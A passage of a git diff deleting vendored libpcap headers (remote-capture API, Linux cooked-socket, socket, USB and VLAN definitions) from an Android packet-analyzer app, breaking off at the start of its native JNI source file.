PCAP_SRC_FILE 2 /* local savefile */ -#define PCAP_SRC_IFLOCAL 3 /* local network interface */ -#define PCAP_SRC_IFREMOTE 4 /* interface on a remote host, using RPCAP */ - -/* - * The formats allowed by pcap_open() are the following (optional parts in []): - * - file://path_and_filename [opens a local file] - * - rpcap://devicename [opens the selected device available on the local host, without using the RPCAP protocol] - * - rpcap://[username:password@]host[:port]/devicename [opens the selected device available on a remote host] - * - username and password, if present, will be used to authenticate to the remote host - * - port, if present, will specify a port for RPCAP rather than using the default - * - adaptername [to open a local adapter; kept for compatibility, but it is strongly discouraged] - * - (NULL) [to open the first local adapter; kept for compatibility, but it is strongly discouraged] - * - * The formats allowed by the pcap_findalldevs_ex() are the following (optional parts in []): - * - file://folder/ [lists all the files in the given folder] - * - rpcap:// [lists all local adapters] - * - rpcap://[username:password@]host[:port]/ [lists the devices available on a remote host] - * - username and password, if present, will be used to authenticate to the remote host - * - port, if present, will specify a port for RPCAP rather than using the default - * - * In all the above, "rpcaps://" can be substituted for "rpcap://" to enable - * SSL (if it has been compiled in). - * - * Referring to the 'host' and 'port' parameters, they can be either numeric or literal. Since - * IPv6 is fully supported, these are the allowed formats: - * - * - host (literal): e.g. host.foo.bar - * - host (numeric IPv4): e.g. 10.11.12.13 - * - host (numeric IPv4, IPv6 style): e.g. [10.11.12.13] - * - host (numeric IPv6): e.g. [1:2:3::4] - * - port: can be either numeric (e.g. '80') or literal (e.g. 'http') - * - * Here you find some allowed examples: - * - rpcap://host.foo.bar/devicename [everything literal, no port number] - * - rpcap://host.foo.bar:1234/devicename [everything literal, with port number] - * - rpcap://root:hunter2@host.foo.bar/devicename [everything literal, with username/password] - * - rpcap://10.11.12.13/devicename [IPv4 numeric, no port number] - * - rpcap://10.11.12.13:1234/devicename [IPv4 numeric, with port number] - * - rpcap://[10.11.12.13]:1234/devicename [IPv4 numeric with IPv6 format, with port number] - * - rpcap://[1:2:3::4]/devicename [IPv6 numeric, no port number] - * - rpcap://[1:2:3::4]:1234/devicename [IPv6 numeric, with port number] - * - rpcap://[1:2:3::4]:http/devicename [IPv6 numeric, with literal port number] - */ - -/* - * URL schemes for capture source. - */ -/* - * This string indicates that the user wants to open a capture from a - * local file. - */ -#define PCAP_SRC_FILE_STRING "file://" -/* - * This string indicates that the user wants to open a capture from a - * network interface. This string does not necessarily involve the use - * of the RPCAP protocol. If the interface required resides on the local - * host, the RPCAP protocol is not involved and the local functions are used. - */ -#define PCAP_SRC_IF_STRING "rpcap://" - -/* - * Flags to pass to pcap_open(). - */ - -/* - * Specifies whether promiscuous mode is to be used. - */ -#define PCAP_OPENFLAG_PROMISCUOUS 0x00000001 - -/* - * Specifies, for an RPCAP capture, whether the data transfer (in - * case of a remote capture) has to be done with UDP protocol. - * - * If it is '1' if you want a UDP data connection, '0' if you want - * a TCP data connection; control connection is always TCP-based. - * A UDP connection is much lighter, but it does not guarantee that all - * the captured packets arrive to the client workstation. Moreover, - * it could be harmful in case of network congestion. - * This flag is meaningless if the source is not a remote interface. - * In that case, it is simply ignored. - */ -#define PCAP_OPENFLAG_DATATX_UDP 0x00000002 - -/* - * Specifies whether the remote probe will capture its own generated - * traffic. - * - * In case the remote probe uses the same interface to capture traffic - * and to send data back to the caller, the captured traffic includes - * the RPCAP traffic as well. If this flag is turned on, the RPCAP - * traffic is excluded from the capture, so that the trace returned - * back to the collector is does not include this traffic. - * - * Has no effect on local interfaces or savefiles. - */ -#define PCAP_OPENFLAG_NOCAPTURE_RPCAP 0x00000004 - -/* - * Specifies whether the local adapter will capture its own generated traffic. - * - * This flag tells the underlying capture driver to drop the packets - * that were sent by itself. This is useful when building applications - * such as bridges that should ignore the traffic they just sent. - * - * Supported only on Windows. - */ -#define PCAP_OPENFLAG_NOCAPTURE_LOCAL 0x00000008 - -/* - * This flag configures the adapter for maximum responsiveness. - * - * In presence of a large value for nbytes, WinPcap waits for the arrival - * of several packets before copying the data to the user. This guarantees - * a low number of system calls, i.e. lower processor usage, i.e. better - * performance, which is good for applications like sniffers. If the user - * sets the PCAP_OPENFLAG_MAX_RESPONSIVENESS flag, the capture driver will - * copy the packets as soon as the application is ready to receive them. - * This is suggested for real time applications (such as, for example, - * a bridge) that need the best responsiveness. - * - * The equivalent with pcap_create()/pcap_activate() is "immediate mode". - */ -#define PCAP_OPENFLAG_MAX_RESPONSIVENESS 0x00000010 - -/* - * Remote authentication methods. - * These are used in the 'type' member of the pcap_rmtauth structure. - */ - -/* - * NULL authentication. - * - * The 'NULL' authentication has to be equal to 'zero', so that old - * applications can just put every field of struct pcap_rmtauth to zero, - * and it does work. - */ -#define RPCAP_RMTAUTH_NULL 0 -/* - * Username/password authentication. - * - * With this type of authentication, the RPCAP protocol will use the username/ - * password provided to authenticate the user on the remote machine. If the - * authentication is successful (and the user has the right to open network - * devices) the RPCAP connection will continue; otherwise it will be dropped. - * - * *******NOTE********: unless TLS is being used, the username and password - * are sent over the network to the capture server *IN CLEAR TEXT*. Don't - * use this, without TLS (i.e., with rpcap:// rather than rpcaps://) on - * a network that you don't completely control! (And be *really* careful - * in your definition of "completely"!) - */ -#define RPCAP_RMTAUTH_PWD 1 - -/* - * This structure keeps the information needed to authenticate the user - * on a remote machine. - * - * The remote machine can either grant or refuse the access according - * to the information provided. - * In case the NULL authentication is required, both 'username' and - * 'password' can be NULL pointers. - * - * This structure is meaningless if the source is not a remote interface; - * in that case, the functions which requires such a structure can accept - * a NULL pointer as well. - */ -struct pcap_rmtauth -{ - /* - * \brief Type of the authentication required. - * - * In order to provide maximum flexibility, we can support different types - * of authentication based on the value of this 'type' variable. The currently - * supported authentication methods are defined into the - * \link remote_auth_methods Remote Authentication Methods Section\endlink. - */ - int type; - /* - * \brief Zero-terminated string containing the username that has to be - * used on the remote machine for authentication. - * - * This field is meaningless in case of the RPCAP_RMTAUTH_NULL authentication - * and it can be NULL. - */ - char *username; - /* - * \brief Zero-terminated string containing the password that has to be - * used on the remote machine for authentication. - * - * This field is meaningless in case of the RPCAP_RMTAUTH_NULL authentication - * and it can be NULL. - */ - char *password; -}; - -/* - * This routine can open a savefile, a local device, or a device on - * a remote machine running an RPCAP server. - * - * For opening a savefile, the pcap_open_offline routines can be used, - * and will work just as well; code using them will work on more - * platforms than code using pcap_open() to open savefiles. - * - * For opening a local device, pcap_open_live() can be used; it supports - * most of the capabilities that pcap_open() supports, and code using it - * will work on more platforms than code using pcap_open(). pcap_create() - * and pcap_activate() can also be used; they support all capabilities - * that pcap_open() supports, except for the Windows-only - * PCAP_OPENFLAG_NOCAPTURE_LOCAL, and support additional capabilities. - * - * For opening a remote capture, pcap_open() is currently the only - * API available. - */ -PCAP_AVAILABLE_1_9_REMOTE -PCAP_API pcap_t *pcap_open(const char *source, int snaplen, int flags, - int read_timeout, struct pcap_rmtauth *auth, char *errbuf) - PCAP_NONNULL(6); - -PCAP_AVAILABLE_1_9_REMOTE -PCAP_API int pcap_createsrcstr(char *source, int type, const char *host, - const char *port, const char *name, char *errbuf) - PCAP_NONNULL(6) PCAP_WARN_UNUSED_RESULT; - -PCAP_AVAILABLE_1_9_REMOTE -PCAP_API int pcap_parsesrcstr(const char *source, int *type, char *host, - char *port, char *name, char *errbuf) - PCAP_NONNULL(6) PCAP_WARN_UNUSED_RESULT; - -/* - * This routine can scan a directory for savefiles, list local capture - * devices, or list capture devices on a remote machine running an RPCAP - * server. - * - * For scanning for savefiles, it can be used on both UN*X systems and - * Windows systems; for each directory entry it sees, it tries to open - * the file as a savefile using pcap_open_offline(), and only includes - * it in the list of files if the open succeeds, so it filters out - * files for which the user doesn't have read permission, as well as - * files that aren't valid savefiles readable by libpcap. - * - * For listing local capture devices, it's just a wrapper around - * pcap_findalldevs(); code using pcap_findalldevs() will work on more - * platforms than code using pcap_findalldevs_ex(). - * - * For listing remote capture devices, pcap_findalldevs_ex() is currently - * the only API available. - */ -PCAP_AVAILABLE_1_9_REMOTE -PCAP_API int pcap_findalldevs_ex(const char *source, - struct pcap_rmtauth *auth, pcap_if_t **alldevs, char *errbuf) - PCAP_NONNULL(4) PCAP_WARN_UNUSED_RESULT; - -/* - * Sampling methods. - * - * These allow pcap_loop(), pcap_dispatch(), pcap_next(), and pcap_next_ex() - * to see only a sample of packets, rather than all packets. - * - * Currently, they work only on Windows local captures. - */ - -/* - * Specifies that no sampling is to be done on the current capture. - * - * In this case, no sampling algorithms are applied to the current capture. - */ -#define PCAP_SAMP_NOSAMP 0 - -/* - * Specifies that only 1 out of N packets must be returned to the user. - * - * In this case, the 'value' field of the 'pcap_samp' structure indicates the - * number of packets (minus 1) that must be discarded before one packet got - * accepted. - * In other words, if 'value = 10', the first packet is returned to the - * caller, while the following 9 are discarded. - */ -#define PCAP_SAMP_1_EVERY_N 1 - -/* - * Specifies that we have to return 1 packet every N milliseconds. - * - * In this case, the 'value' field of the 'pcap_samp' structure indicates - * the 'waiting time' in milliseconds before one packet got accepted. - * In other words, if 'value = 10', the first packet is returned to the - * caller; the next returned one will be the first packet that arrives - * when 10ms have elapsed. - */ -#define PCAP_SAMP_FIRST_AFTER_N_MS 2 - -/* - * This structure defines the information related to sampling. - * - * In case the sampling is requested, the capturing device should read - * only a subset of the packets coming from the source. The returned packets - * depend on the sampling parameters. - * - * WARNING: The sampling process is applied *after* the filtering process. - * In other words, packets are filtered first, then the sampling process - * selects a subset of the 'filtered' packets and it returns them to the - * caller. - */ -struct pcap_samp -{ - /* - * Method used for sampling; see above. - */ - int method; - - /* - * This value depends on the sampling method defined. - * For its meaning, see above. - */ - int value; -}; - -/* - * New functions. - */ -PCAP_AVAILABLE_1_9_REMOTE -PCAP_API struct pcap_samp *pcap_setsampling(pcap_t *p); - -/* - * RPCAP active mode. - */ - -/* Maximum length of an host name (needed for the RPCAP active mode) */ -#define RPCAP_HOSTLIST_SIZE 1024 - -PCAP_AVAILABLE_1_9_REMOTE -PCAP_API PCAP_SOCKET pcap_remoteact_accept(const char *address, - const char *port, const char *hostlist, char *connectinghost, - struct pcap_rmtauth *auth, char *errbuf) - PCAP_NONNULL(6); - -PCAP_AVAILABLE_1_10_REMOTE -PCAP_API PCAP_SOCKET pcap_remoteact_accept_ex(const char *address, - const char *port, const char *hostlist, char *connectinghost, - struct pcap_rmtauth *auth, int uses_ssl, char *errbuf) - PCAP_NONNULL(7); - -PCAP_AVAILABLE_1_9_REMOTE -PCAP_API int pcap_remoteact_list(char *hostlist, char sep, int size, - char *errbuf) PCAP_NONNULL(4) PCAP_WARN_UNUSED_RESULT; - -PCAP_AVAILABLE_1_9_REMOTE -PCAP_API int pcap_remoteact_close(const char *host, char *errbuf) - PCAP_NONNULL(2) PCAP_WARN_UNUSED_RESULT; - -PCAP_AVAILABLE_1_9_REMOTE -PCAP_API void pcap_remoteact_cleanup(void); - -enum pcap_option_name { /* never renumber this */ - PON_TSTAMP_PRECISION = 1, /* int */ - PON_IO_READ_PLUGIN = 2, /* char * */ - PON_IO_WRITE_PLUGIN = 3, /* char * */ -}; -typedef struct pcap_options pcap_options; -PCAP_AVAILABLE_1_11 -PCAP_API pcap_options *pcap_alloc_option(void); - -PCAP_AVAILABLE_1_11 -PCAP_API void pcap_free_option(pcap_options *po); - -PCAP_AVAILABLE_1_11 -PCAP_API int pcap_set_option_string(pcap_options *po, - enum pcap_option_name pon, const char *value); - -PCAP_AVAILABLE_1_11 -PCAP_API int pcap_set_option_int(pcap_options *po, - enum pcap_option_name pon, const int value); - -PCAP_AVAILABLE_1_11 -PCAP_API const char *pcap_get_option_string(pcap_options *po, enum pcap_option_name pon); - -PCAP_AVAILABLE_1_11 -PCAP_API int pcap_get_option_int(pcap_options *po, enum pcap_option_name pon); - -#ifdef __cplusplus -} -#endif - -#endif /* lib_pcap_pcap_h */ diff --git a/android/app/src/main/cpp/include/sll.h b/android/app/src/main/cpp/include/sll.h deleted file mode 100644 index b13a8cb..0000000 --- a/android/app/src/main/cpp/include/sll.h +++ /dev/null @@ -1,146 +0,0 @@ -/*- - * Copyright (c) 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997 - * The Regents of the University of California. All rights reserved. - * - * This code is derived from the Stanford/CMU enet packet filter, - * (net/enet.c) distributed as part of 4.3BSD, and code contributed - * to Berkeley by Steven McCanne and Van Jacobson both of Lawrence - * Berkeley Laboratory. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * 3. Neither the name of the University nor the names of its contributors - * may be used to endorse or promote products derived from this software - * without specific prior written permission. - * - * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND - * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE - * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE - * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE - * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL - * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS - * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) - * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT - * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY - * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF - * SUCH DAMAGE. - */ - -/* - * For captures on Linux cooked sockets, we construct a fake header - * that includes: - * - * a 2-byte "packet type" which is one of: - * - * LINUX_SLL_HOST packet was sent to us - * LINUX_SLL_BROADCAST packet was broadcast - * LINUX_SLL_MULTICAST packet was multicast - * LINUX_SLL_OTHERHOST packet was sent to somebody else - * LINUX_SLL_OUTGOING packet was sent *by* us; - * - * a 2-byte Ethernet protocol field; - * - * a 2-byte link-layer type; - * - * a 2-byte link-layer address length; - * - * an 8-byte source link-layer address, whose actual length is - * specified by the previous value. - * - * All fields except for the link-layer address are in network byte order. - * - * DO NOT change the layout of this structure, or change any of the - * LINUX_SLL_ values below. If you must change the link-layer header - * for a "cooked" Linux capture, introduce a new DLT_ type (ask - * "tcpdump-workers@lists.tcpdump.org" for one, so that you don't give it - * a value that collides with a value already being used), and use the - * new header in captures of that type, so that programs that can - * handle DLT_LINUX_SLL captures will continue to handle them correctly - * without any change, and so that capture files with different headers - * can be told apart and programs that read them can dissect the - * packets in them. - */ - -#ifndef lib_pcap_sll_h -#define lib_pcap_sll_h - -#include - -/* - * A DLT_LINUX_SLL fake link-layer header. - */ -#define SLL_HDR_LEN 16 /* total header length */ -#define SLL_ADDRLEN 8 /* length of address field */ - -struct sll_header { - uint16_t sll_pkttype; /* packet type */ - uint16_t sll_hatype; /* link-layer address type */ - uint16_t sll_halen; /* link-layer address length */ - uint8_t sll_addr[SLL_ADDRLEN]; /* link-layer address */ - uint16_t sll_protocol; /* protocol */ -}; - -/* - * A DLT_LINUX_SLL2 fake link-layer header. - */ -#define SLL2_HDR_LEN 20 /* total header length */ - -struct sll2_header { - uint16_t sll2_protocol; /* protocol */ - uint16_t sll2_reserved_mbz; /* reserved - must be zero */ - uint32_t sll2_if_index; /* 1-based interface index */ - uint16_t sll2_hatype; /* link-layer address type */ - uint8_t sll2_pkttype; /* packet type */ - uint8_t sll2_halen; /* link-layer address length */ - uint8_t sll2_addr[SLL_ADDRLEN]; /* link-layer address */ -}; - -/* - * The LINUX_SLL_ values for "sll_pkttype" and LINUX_SLL2_ values for - * "sll2_pkttype"; these correspond to the PACKET_ values on Linux, - * which are defined by a header under include/uapi in the current - * kernel source, and are thus not going to change on Linux. We - * define them here so that they're available even on systems other - * than Linux. - */ -#define LINUX_SLL_HOST 0 -#define LINUX_SLL_BROADCAST 1 -#define LINUX_SLL_MULTICAST 2 -#define LINUX_SLL_OTHERHOST 3 -#define LINUX_SLL_OUTGOING 4 - -/* - * The LINUX_SLL_ values for "sll_protocol" and LINUX_SLL2_ values for - * "sll2_protocol"; these correspond to the ETH_P_ values on Linux, but - * are defined here so that they're available even on systems other than - * Linux. We assume, for now, that the ETH_P_ values won't change in - * Linux; if they do, then: - * - * if we don't translate them in "pcap-linux.c", capture files - * won't necessarily be readable if captured on a system that - * defines ETH_P_ values that don't match these values; - * - * if we do translate them in "pcap-linux.c", that makes life - * unpleasant for the BPF code generator, as the values you test - * for in the kernel aren't the values that you test for when - * reading a capture file, so the fixup code run on BPF programs - * handed to the kernel ends up having to do more work. - * - * Add other values here as necessary, for handling packet types that - * might show up on non-Ethernet, non-802.x networks. (Not all the ones - * in the Linux "if_ether.h" will, I suspect, actually show up in - * captures.) - */ -#define LINUX_SLL_P_802_3 0x0001 /* Novell 802.3 frames without 802.2 LLC header */ -#define LINUX_SLL_P_802_2 0x0004 /* 802.2 frames (not D/I/X Ethernet) */ -#define LINUX_SLL_P_CAN 0x000C /* CAN frames, with SocketCAN pseudo-headers */ -#define LINUX_SLL_P_CANFD 0x000D /* CAN FD frames, with SocketCAN pseudo-headers */ -#define LINUX_SLL_P_CANXL 0x000E /* CAN XL frames, with SocketCAN pseudo-headers */ - -#endif diff --git a/android/app/src/main/cpp/include/socket.h b/android/app/src/main/cpp/include/socket.h deleted file mode 100644 index b1a864b..0000000 --- a/android/app/src/main/cpp/include/socket.h +++ /dev/null @@ -1,128 +0,0 @@ -/* -*- Mode: c; tab-width: 8; indent-tabs-mode: 1; c-basic-offset: 8; -*- */ -/* - * Copyright (c) 1993, 1994, 1995, 1996, 1997 - * The Regents of the University of California. All rights reserved. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * 3. All advertising materials mentioning features or use of this software - * must display the following acknowledgement: - * This product includes software developed by the Computer Systems - * Engineering Group at Lawrence Berkeley Laboratory. - * 4. Neither the name of the University nor of the Laboratory may be used - * to endorse or promote products derived from this software without - * specific prior written permission. - * - * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND - * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE - * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE - * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE - * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL - * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS - * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) - * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT - * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY - * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF - * SUCH DAMAGE. - */ - -#ifndef lib_pcap_socket_h -#define lib_pcap_socket_h - -/* - * Some minor differences between sockets on various platforms. - * We include whatever sockets are needed for Internet-protocol - * socket access on UN*X and Windows. - */ -#ifdef _WIN32 - /* Need windef.h for defines used in winsock2.h under MingW32 */ - #ifdef __MINGW32__ - #include - #endif - #include - #include - - /*! - * \brief In Winsock, a socket handle is of type SOCKET; in UN*X, it's - * a file descriptor, and therefore a signed integer. - * We define PCAP_SOCKET to be a signed integer on UN*X and a - * SOCKET on Windows, so that it can be used on both platforms. - * - * We used to use SOCKET rather than PCAP_SOCKET, but that collided - * with other software, such as barnyard2, which had their own - * definitions of SOCKET, so we changed it to PCAP_SOCKET. - * - * On Windows, this shouldn't break any APIs, as any code using - * the two active-mode APIs that return a socket handle would - * probably be assigning their return values to a SOCKET, and - * as, on Windows, we're defining PCAP_SOCKET as SOCKET, there - * would be no type clash. - */ - #ifndef PCAP_SOCKET - #define PCAP_SOCKET SOCKET - #endif - - /* - * Winsock doesn't have this POSIX type; it's used for the - * tv_usec value of struct timeval. - */ - typedef long suseconds_t; -#else /* _WIN32 */ - #include - #include - #include /* for struct addrinfo/getaddrinfo() */ - #include /* for sockaddr_in, in BSD at least */ - #include - - /*! - * \brief In Winsock, a socket handle is of type SOCKET; in UN*Xes, - * it's a file descriptor, and therefore a signed integer. - * We define PCAP_SOCKET to be a signed integer on UN*X and a - * SOCKET on Windows, so that it can be used on both platforms. - * - * We used to use SOCKET rather than PCAP_SOCKET, but that collided - * with other software, such as barnyard2, which had their own - * definitions of SOCKET, so we changed it to PCAP_SOCKET. - * - * On UN*Xes, this might break code that uses one of the two - * active-mode APIs that return a socket handle if those programs - * were written to assign the return values of those APIs to a - * SOCKET, as we're no longer defining SOCKET. However, as - * those APIs are only provided if libpcap is built with remote - * capture support - which is not the default - and as they're - * somewhat painful to use, there's probably little if any code - * that needs to compile for UN*X and that uses them. If there - * *is* any such code, it could do - * - * #ifndef PCAP_SOCKET - * #ifdef _WIN32 - * #define PCAP_SOCKET SOCKET - * #else - * #defube PCAP_SOCKET int - * #endif - * #endif - * - * and use PCAP_SOCKET. - */ - #ifndef PCAP_SOCKET - #define PCAP_SOCKET int - #endif - - /*! - * \brief In Winsock, the error return if socket() fails is INVALID_SOCKET; - * in UN*X, it's -1. - * We define INVALID_SOCKET to be -1 on UN*X, so that it can be used on - * both platforms. - */ - #ifndef INVALID_SOCKET - #define INVALID_SOCKET -1 - #endif -#endif /* _WIN32 */ - -#endif /* lib_pcap_socket_h */ diff --git a/android/app/src/main/cpp/include/usb.h b/android/app/src/main/cpp/include/usb.h deleted file mode 100644 index 48dc906..0000000 --- a/android/app/src/main/cpp/include/usb.h +++ /dev/null @@ -1,149 +0,0 @@ -/* - * Copyright (c) 2006 Paolo Abeni (Italy) - * All rights reserved. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * 3. The name of the author may not be used to endorse or promote - * products derived from this software without specific prior written - * permission. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS - * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT - * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR - * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT - * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, - * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT - * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, - * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY - * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT - * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE - * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - * - * Basic USB data struct - * By Paolo Abeni - */ - -#ifndef lib_pcap_usb_h -#define lib_pcap_usb_h - -#include - -/* - * possible transfer mode - */ -#define URB_TRANSFER_IN 0x80 -#define URB_ISOCHRONOUS 0x0 -#define URB_INTERRUPT 0x1 -#define URB_CONTROL 0x2 -#define URB_BULK 0x3 - -/* - * possible event type - */ -#define URB_SUBMIT 'S' -#define URB_COMPLETE 'C' -#define URB_ERROR 'E' - -/* - * USB setup header as defined in USB specification. - * Appears at the front of each Control S-type packet in DLT_USB captures. - */ -typedef struct _usb_setup { - uint8_t bmRequestType; - uint8_t bRequest; - uint16_t wValue; - uint16_t wIndex; - uint16_t wLength; -} pcap_usb_setup; - -/* - * Information from the URB for Isochronous transfers. - */ -typedef struct _iso_rec { - int32_t error_count; - int32_t numdesc; -} iso_rec; - -/* - * Header prepended by linux kernel to each event. - * Appears at the front of each packet in DLT_USB_LINUX captures. - */ -typedef struct _usb_header { - uint64_t id; - uint8_t event_type; - uint8_t transfer_type; - uint8_t endpoint_number; - uint8_t device_address; - uint16_t bus_id; - char setup_flag;/*if !=0 the urb setup header is not present*/ - char data_flag; /*if !=0 no urb data is present*/ - int64_t ts_sec; - int32_t ts_usec; - int32_t status; - uint32_t urb_len; - uint32_t data_len; /* amount of urb data really present in this event*/ - pcap_usb_setup setup; -} pcap_usb_header; - -/* - * Header prepended by linux kernel to each event for the 2.6.31 - * and later kernels; for the 2.6.21 through 2.6.30 kernels, the - * "iso_rec" information, and the fields starting with "interval" - * are zeroed-out padding fields. - * - * Appears at the front of each packet in DLT_USB_LINUX_MMAPPED captures. - */ -typedef struct _usb_header_mmapped { - uint64_t id; - uint8_t event_type; - uint8_t transfer_type; - uint8_t endpoint_number; - uint8_t device_address; - uint16_t bus_id; - char setup_flag;/*if !=0 the urb setup header is not present*/ - char data_flag; /*if !=0 no urb data is present*/ - int64_t ts_sec; - int32_t ts_usec; - int32_t status; - uint32_t urb_len; - uint32_t data_len; /* amount of urb data really present in this event*/ - union { - pcap_usb_setup setup; - iso_rec iso; - } s; - int32_t interval; /* for Interrupt and Isochronous events */ - int32_t start_frame; /* for Isochronous events */ - uint32_t xfer_flags; /* copy of URB's transfer flags */ - uint32_t ndesc; /* number of isochronous descriptors */ -} pcap_usb_header_mmapped; - -/* - * Maximum number of descriptors supported. - * It's currently 128 in the Linux binary USB monitoring code. - */ -#define USB_MAXDESC 128 - -/* - * Isochronous descriptors; for isochronous transfers there might be - * one or more of these at the beginning of the packet data. The - * number of descriptors is given by the "ndesc" field in the header; - * as indicated, in older kernels that don't put the descriptors at - * the beginning of the packet, that field is zeroed out, so that field - * can be trusted even in captures from older kernels. - */ -typedef struct _usb_isodesc { - int32_t status; - uint32_t offset; - uint32_t len; - uint8_t pad[4]; -} usb_isodesc; - -#endif diff --git a/android/app/src/main/cpp/include/vlan.h b/android/app/src/main/cpp/include/vlan.h deleted file mode 100644 index 8c1cf4f..0000000 --- a/android/app/src/main/cpp/include/vlan.h +++ /dev/null @@ -1,42 +0,0 @@ -/*- - * Copyright (c) 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997 - * The Regents of the University of California. All rights reserved. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * 3. Neither the name of the University nor the names of its contributors - * may be used to endorse or promote products derived from this software - * without specific prior written permission. - * - * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND - * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE - * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE - * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE - * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL - * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS - * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) - * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT - * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY - * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF - * SUCH DAMAGE. - */ - -#ifndef lib_pcap_vlan_h -#define lib_pcap_vlan_h - -#include - -struct vlan_tag { - uint16_t vlan_tpid; /* ETH_P_8021Q */ - uint16_t vlan_tci; /* VLAN TCI */ -}; - -#define VLAN_TAG_LEN 4 - -#endif diff --git a/android/app/src/main/cpp/native-lib.cpp b/android/app/src/main/cpp/native-lib.cpp deleted file mode 100644 index df23470..0000000 --- a/android/app/src/main/cpp/native-lib.cpp +++ /dev/null @@ -1,245 +0,0 @@ -#include -#include -#include - -// Logging macros -#define LOG_TAG "PacketAnalyzer" -#define LOGD(...) __android_log_print(ANDROID_LOG_DEBUG, LOG_TAG, __VA_ARGS__) -#define LOGE(...) __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__) - -// Standard + networking headers -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include "packet_parser.h" -#include "session_manager.h" -#include "socket_forwarder.h" - -// ---- Globals ---- -static bool g_capture_running = false; -static JavaVM *g_vm = nullptr; -static jobject g_callbackObj = nullptr; - -// ---- JNI lifecycle ---- -jint JNI_OnLoad(JavaVM *vm, void *reserved) -{ - g_vm = vm; - return JNI_VERSION_1_6; -} - -// Called from Java to set callback object -extern "C" JNIEXPORT void JNICALL -Java_com_example_packet_1analyzer_NativeInterface_setPacketCallback(JNIEnv *env, jobject 